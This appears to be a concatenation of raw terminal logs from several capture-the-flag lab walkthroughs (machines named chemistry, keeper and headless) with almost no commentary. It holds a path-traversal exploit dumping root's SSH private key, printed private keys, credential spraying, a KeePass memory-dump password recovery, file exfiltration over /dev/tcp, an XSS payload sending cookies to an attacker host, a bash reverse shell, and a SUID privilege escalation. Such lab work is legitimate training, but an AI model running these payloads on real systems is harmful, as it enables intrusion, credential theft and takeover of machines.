...[snip]...adminapp@chemistry:~/instance$ su rosa
Password:
rosa@chemistry:/home/app/instance$ whoami
rosarosa@chemistry:~$ pwd
/home/rosa
rosa@chemistry:~$ cat user.txt
a65886ac7ef2********************rosa@chemistry:~$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 localhost:http-alt 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 localhost:domain 0.0.0.0:*
udp 0 0 0.0.0.0:bootpc 0.0.0.0:* rosa@chemistry:~$ curl localhost:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Site Monitoring</title>
<link rel="stylesheet" href="/assets/css/all.min.css">
<script src="/assets/js/jquery-3.6.0.min.js"></script>
<script src="/assets/js/chart.js"></script>
<link rel="stylesheet" href="/assets/css/style.css">
<style>
h2 {
color: black;
font-style: italic;
}
</style>
</head>
<body>
<nav class="navbar">
<div class="container">
<h1 class="logo"><i class="fas fa-chart-line"></i> Site Monitoring</h1>
<ul class="nav-links">
<li><a href="#" id="home"><i class="fas fa-home"></i> Home</a></li>
<li><a href="#" id="start-service"><i class="fas fa-play"></i> Start Service</a></li>
<li><a href="#" id="stop-service"><i class="fas fa-stop"></i> Stop Service</a></li>
<li><a href="#" id="list-services"><i class="fas fa-list"></i> List Services</a></li>
<li><a href="#" id="check-attacks"><i class="fas fa-exclamation-triangle"></i> Check Attacks</a></li>
</ul>
</div>
</nav>
...[snip]...rosa@chemistry:~$ curl localhost:8080 --head
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Wed, 15 Jan 2025 03:31:00 GMT
Server: Python/3.9 aiohttp/3.9.1rosa@chemistry:~$ cat exploit.py | grep localhost
url = "http://localhost:8080/assets/"
rosa@chemistry:~$ chmod +x exploit.py
rosa@chemistry:~$ ./exploit.py
Sending payloads...
Round 1: http://localhost:8080/assets/../root/root.txt
Round 2: http://localhost:8080/assets/../../root/root.txt
Round 3: http://localhost:8080/assets/../../../root/root.txt
[+] Success! File found.
HTTP/1.1 200 OK
Content-Type: text/plain
Etag: "181abcea3a49356f-21"
Last-Modified: Wed, 15 Jan 2025 02:32:01 GMT
Content-Length: 33
Accept-Ranges: bytes
Date: Wed, 15 Jan 2025 03:42:58 GMT
Server: Python/3.9 aiohttp/3.9.1
0c7f9ccbed3a657*****************rosa@chemistry:~$ ./exploit.sh
Sending payloads...
Round 1: http://localhost:8080/assets/../root/.ssh/id_rsa
Round 2: http://localhost:8080/assets/../../root/.ssh/id_rsa
Round 3: http://localhost:8080/assets/../../../root/.ssh/id_rsa
[+] Success! File found.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Etag: "17d9a4c79c30680c-a2a"
Last-Modified: Mon, 17 Jun 2024 00:58:31 GMT
Content-Length: 2602
Accept-Ranges: bytes
Date: Thu, 16 Jan 2025 05:31:20 GMT
Server: Python/3.9 aiohttp/3.9.1
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
...[snip]...
Last login: Thu Jan 16 05:47:26 2025 from 10.10.16.5
root@chemistry:~# hostname
chemistry
root@chemistry:~# whoami
root❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.227 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 14:10 CET
Initiating SYN Stealth Scan at 14:10
Scanning 10.10.11.227 [65535 ports]
Discovered open port 80/tcp on 10.10.11.227
Discovered open port 22/tcp on 10.10.11.227
Completed SYN Stealth Scan at 14:11, 24.44s elapsed (65535 total ports)
Nmap scan report for 10.10.11.227
Host is up, received user-set (0.064s latency).
Scanned at 2025-01-26 14:10:48 CET for 24s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.60 seconds
Raw packets sent: 67149 (2.955MB) | Rcvd: 67165 (2.688MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.227
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.227 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 14:12 CET
Nmap scan report for keeper.htb (10.10.11.227)
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 60.68 ms 10.10.16.1
2 31.09 ms keeper.htb (10.10.11.227)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep 10.10.11.227
10.10.11.227 keeper.htb tickets.keeper.htb❯ nxc ssh 10.10.11.227 -u 'lnorgaard' -p 'Welcome2023!'
SSH 10.10.11.227 22 10.10.11.227 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3
SSH 10.10.11.227 22 10.10.11.227 [+] lnorgaard:Welcome2023! Linux - Shell access!
❯ ssh lnorgaard@10.10.11.227
lnorgaard@10.10.11.227's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ cat user.txt
fab90a2de***********************lnorgaard@keeper:~$ ls -l
total 85348
-rw-r--r-- 1 root root 87391651 Jan 26 14:18 RT30000.zip❯ nc -nlvp 443 > RT30000.zip
listening on [any] 443 ...lnorgaard@keeper:~$ cat RT30000.zip > /dev/tcp/10.10.16.5/443❯ ls -l RT30000.zip
.rw-rw-r-- kali kali 83 MB Sun Jan 26 14:20:46 2025 RT30000.zip
❯ unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
❯ tree
.
├── KeePassDumpFull.dmp
├── passcodes.kdbx
└── RT30000.zip
1 directory, 3 files❯ keepassxc passcodes.kdbx & disown❯ keepass2john passcodes.kdbx > hashes
❯ catnp hashes
passcodes:$keepass$*2*60000*0*5d7b4747e5a278d572fb0a66fe187ae5d74a0e2f56a2aaaf4c4f2b8ca342597d*5b7ec1cf6889266a388abe398d7990a294bf2a581156f7a7452b4074479bdea7*08500fa5a52622ab89b0addfedd5a05c*411593ef0846fc1bb3db4f9bab515b42e58ade0c25096d15f090b0fe10161125*a4842b416f14723513c5fb704a2f49024a70818e786f07e68e82a6d3d7cdbcdc
❯ john --wordlist:/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads❯ file passcodes.kdbx
passcodes.kdbx: Keepass password database 2.x KDBX❯ git clone https://github.com/CMEPW/keepass-dump-masterkey; cd keepass-dump-masterkey
Clonando en 'keepass-dump-masterkey'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 0), reused 6 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (9/9), 32.52 KiB | 951.00 KiB/s, listo.❯ python3 poc.py ../KeePassDumpFull.dmp
2025-01-26 14:28:06,549 [.] [main] Opened ../KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de❯ nxc ssh 10.10.11.227 -u 'root' -p 'F4><3K0nd!'
SSH 10.10.11.227 22 10.10.11.227 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3
SSH 10.10.11.227 22 10.10.11.227 [-] root:F4><3K0nd!❯ cat private_key
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
❯ file private_key
private_key: PuTTY Private Key File, version 3, algorithm ssh-rsa❯ puttygen private_key -O private-openssh -o id_rsa
❯ chmod 600 id_rsa
❯ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----❯ ssh -i id_rsa root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# cat root.txt
b2970ee7*************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.8 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 00:11 CET
Initiating SYN Stealth Scan at 00:12
Scanning 10.10.11.8 [65535 ports]
Discovered open port 22/tcp on 10.10.11.8
Discovered open port 5000/tcp on 10.10.11.8
Completed SYN Stealth Scan at 00:12, 18.92s elapsed (65535 total ports)
Nmap scan report for 10.10.11.8
Host is up, received user-set (0.069s latency).
Scanned at 2025-01-27 00:12:00 CET for 18s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.07 seconds
Raw packets sent: 65627 (2.888MB) | Rcvd: 65636 (2.626MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.8
[*] Open ports: 22,5000
[*] Ports copied to clipboard❯ nmap -sCV -p22,5000 10.10.11.8 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 00:17 CET
Nmap scan report for 10.10.11.8
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Under Construction
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 108.99 ms 10.10.16.1
2 31.35 ms 10.10.11.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<script>var i=new Image(); i.src="http://10.10.16.5/?cookie="+document.cookie;</script>❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.16.5 - - [27/Jan/2025 00:38:22] "GET /?cookie=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [27/Jan/2025 00:38:28] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -❯ echo 'ImFkbWluIg' | base64 -d; echo
"admin"
❯ echo 'dmzDkZNEm6CK0oyL1fbM-SnXpH0' | base64 -d; echo
vlÑ�D���Ҍ����base64: entrada inválida❯ nc -nlvp 443
listening on [any] 443 ...bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.5/443+0>%261'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.8] 52348
bash: cannot set terminal process group (1379): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ cat /home/dvir/user.txt
cat /home/dvir/user.txt
4d7ed1324***********************dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheckdvir@headless:~/app$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
dvir@headless:~/app$ ls -l /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb 2 2024 /usr/bin/syscheckdvir@headless:~/app$ find / -name initdb.sh 2>/dev/null
dvir@headless:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1265648 Apr 24 2023 /bin/bash
dvir@headless:/tmp$ cat initdb.sh
#!/bin/bash
chmod u+s /bin/bash
dvir@headless:/tmp$ chmod +x initdb.sh
dvir@headless:/tmp$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
dvir@headless:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 24 2023 /bin/bashdvir@headless:/tmp$ bash -p
bash-5.2# whoami
root
bash-5.2# cat /root/root.txt
9f968961c41*********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.117 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 18:12 CET
Initiating SYN Stealth Scan at 18:12
Scanning 10.10.10.117 [65535 ports]
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 34697/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Completed SYN Stealth Scan at 18:13, 10.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.117
Host is up, received user-set (0.040s latency).
Scanned at 2025-03-23 18:12:55 CET for 10s
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
6697/tcp open ircs-u syn-ack ttl 63
8067/tcp open infi-async syn-ack ttl 63
34697/tcp open unknown syn-ack ttl 63
65534/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.54 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65540 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.117
[*] Open ports: 22,80,111,6697,8067,34697,65534
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,111,6697,8067,34697,65534 10.10.10.117 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 18:13 CET
Nmap scan report for 10.10.10.117
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
